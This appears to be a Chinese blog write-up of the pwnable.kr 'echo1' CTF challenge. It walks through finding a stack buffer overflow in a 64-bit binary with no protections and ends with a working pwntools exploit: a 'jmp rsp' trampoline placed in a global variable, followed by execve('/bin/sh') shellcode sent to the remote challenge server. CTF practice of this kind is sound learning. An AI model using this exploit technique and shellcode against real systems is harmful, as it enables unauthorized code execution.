PWN學習之[Rookiss]-[echo1]

echo1是一個64位的elf可執行文件,用checksec檢查發現基本沒有進行保護措施

Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x400000)
    RWX:      Has RWX segments

用IDA查看僞代碼

_QWORD v7[4]; // [sp+10h] [bp-20h]@1

  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stdin, 0LL, 1, 0LL);
  o = malloc(40uLL);
  *((_QWORD *)o + 3) = greetings;
  *((_QWORD *)o + 4) = byebye;
  printf("hey, what's your name? : ", 0LL);
  v3 = (int *)v7;
  __isoc99_scanf("%24s", v7);
  v4 = o;
  *(_QWORD *)o = v7[0];
  v4[1] = v7[1];
  v4[2] = v7[2];
  id = v7[0];

在main函數中存在上面一段代碼,僞代碼中v7的長度爲4,本來以爲這是個溢出點,但是查看彙編後發現v7的長度應爲24。所以main函數中不存在溢出漏洞

再找其他輸入的地方,發現echo1函數中存在輸入,且可以輸入120個字符,然而s距ebp長度只有32個字節,所以可以覆蓋返回地址進行溢出。

__int64 echo1()
{
  char s; // [sp+0h] [bp-20h]@1

  (*((void (__fastcall **)(_QWORD))o + 3))(o);
  get_input(&s, 128);
  puts(&s);
  (*((void (__fastcall **)(_QWORD, _QWORD))o + 4))(o, 128LL);
  return 0LL;
}

一開始想將返回地址覆蓋爲shellcode的地址既payload=shellcode+padding+shellcode地址

[+] Starting local process './echo1': pid 6366
"hey, what's your name? :"
'H1\xd2H\xbb//bin/shH\xc1\xeb\x08SH\x89\xe7PWH\x89\xe6\xb0;\x0f\x05aaaaaaaaaa\xa0\xdd\xff\xff\xff\x7f'
' hello \xff\xe4\n'
[*] Switching to interactive mode
H1�H\xbb//bin/shH�SH\x89�PWH\x89��;\x0f\x05aaaaaaaaaa\xa0��\xff\xff\x7f

goodbye \xff$            [*] Got EOF while reading in interactive
$ ls
[*] Process './echo1' stopped with exit code -11 (SIGSEGV) (pid 6366)
[*] Got EOF while sending in interactive

but,,失敗了..應該是程序運行的時候與調試時地址不相同導致的

嗯,只能試試別的辦法了,這時候想起了前一段時間看到的0day漏洞分析這本書上所講的通用跳板實現溢出

所以我們的思路可以是這樣:將返回地址覆蓋爲jmp esp的地址,然後拼接shellcode
payload=padding+jmpesp+shellcode

本題由於id是全局變量且將name的前兩個字符賦值給id,所以我們可以直接輸入asm(jmp rsp)
然後再跳轉到id的地址處即可

腳本如下:

“`
from pwn import *
jmp=’\xff\xe4’

p=process(‘./echo1’)

p=remote(‘pwnable.kr’,9010)
p.recvuntil(‘:’)
p.sendline(jmp)
p.recvuntil(‘>’)
p.sendline(‘1’)
shellcode=’\x48\x31\xd2\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05’
addr=’\xa0\xdd\xff\xff\xff\x7f’
payload=’a’*40+p64(0x6020A0)+shellcode
print repr(p.recvuntil(‘\n’))
p.sendline(payload)
p.interactive()

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章